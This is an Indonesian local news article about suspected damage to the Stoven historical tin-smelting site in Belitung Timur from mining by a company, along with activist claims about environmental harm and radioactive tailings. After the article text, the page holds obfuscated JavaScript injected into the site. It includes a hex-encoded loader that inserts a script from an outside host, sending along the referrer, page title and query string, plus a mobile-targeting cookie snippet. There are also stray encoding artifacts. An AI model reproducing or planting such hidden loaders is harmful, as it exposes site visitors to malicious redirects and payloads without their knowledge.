Di Beltim, Diduga Aktifitas Tambang Kawasan Stoven Rusak Situs Sejarah

KORANFORUM.COM, BELITUNG TIMUR — Belakangan ini masyarakat di Wilayah Kecamatan Kelapa Kampit, Kabupaten Belitung Timur (Beltim), Provinsi Bangka Belitung (Babel) sempat menerima info tentang dugaan rusaknya situs sejarah di Kawasan Wisata Stoven Kelapa Kampit, yang diduga akibat aktifitas pertambangan timah.

Infonya, aktitas tambang timah dilokasi tersebut, saat ini diduga dilakukan oleh perusahaan tambang yang berada dalam kawasan izin usaha penambangan (IUP) Ai??milik PT MCM.

Berdasarkan informasi dari Aktifis Pemuda Belitong, Ai??Christian Tino, Ai??yang ditulisnya di WAG BFm Radio, mengungkapkan adanya tersiar info tentang dugaan telah digelarnya rapat di Ai??Desa Wilayah Kampit, terkait areal kawasan Stoven yang sedang mereka uruk.

Infonya, Ai??dalam rapat itu, Ai??juga membicarakan aktifitas pasca tambang Ai??dan reklamasi kawasan itu agar bisa mnjadi kawasan wisata.

Saat itulah, diperoleh info adanya dugaan pada sejumlah bagian kawasan itu yang sempat dirusak oleh aktivitas penambangan dan pengurukan.

Diduga aktifitas ini tak melibatkan ahli sejarah dan tambang, sehingga mengakibatkan bagian utama dari Situs Stoven ikut tertimbun. Jika sampai terjadi,Ai??tentunya hal ini akan mengurangi nilai-nilai dari keberadaan situs itu sendiri.

“Situs Stoven itu nok nancang to nok urang sebut Menara Stoven tek sebelah kanan Buldozer. Stoven dulu merupakan tungku dan cerobong asap pembakaran timah,” ungkap Christian Tino, yang akrab disapa dengan panggilan Tino.

Bicara tentang pertambangan timah ini, Ai??dulunya ada perusahaan raksasa elektronik dan Sillicon Valley pernah turun ke Babel.

Masuknya perusahaan besar ini, terkait dugaan adanya aktifitas tambang timah ilegal, serta adanya dugaan penambangan yang melibatkan pekerja anak-anak dan terjadinya kerusakan lingkungan.

“Beberapa waktu lalu, aku ada tamu dari eropa dan disana orang-orang sangat benci dengan oknum-oknum di Babel, yang patut diduga telah merusak lingkungan akibat dari tambang timah yang semerawut,” beber Tino.

Infonya, Ai??perusahaan-perusahaan raksasa elektonik ini, kemudian mengirimkan pakar peneliti dengan melibatkan PaCT Amerika,yang dketuai seorang profesor. Lalu tim ini turun ke Belitong tahun lalu, dengan didampingi oleh salahsatu LSM.

Lalu, yang kedua dtindaklanjuti oleh salahseorang dari bagian tim itu, Ai??dimana orang ini turun untuk mengecek dampak radio aktif dilokasi tambang tersebut.

Kemudian, Ai??dengan bermodalkan aplikasi yang dibenamkan diponselnya, maka orang ini bisa mengecek tingkatan rodon/radio aktif di beberapa lokasi tambang aktif maupun eks tambang.

“Rupanya, paparan paling kuat ditangkap di daerah penggilingan timah, yang notabene diduga adanya aliran limbah tailing dan airnya dibuang ke sungai-sungai, yang secara otomatis mencemari air baku Orang Belitong. Si bule hanya bisa geleng-geleng kepalanya,” tandas Tino. (jon) eto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lication/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

You May Also Like

Leave a Reply

Your email address will not be published. Required fields are marked *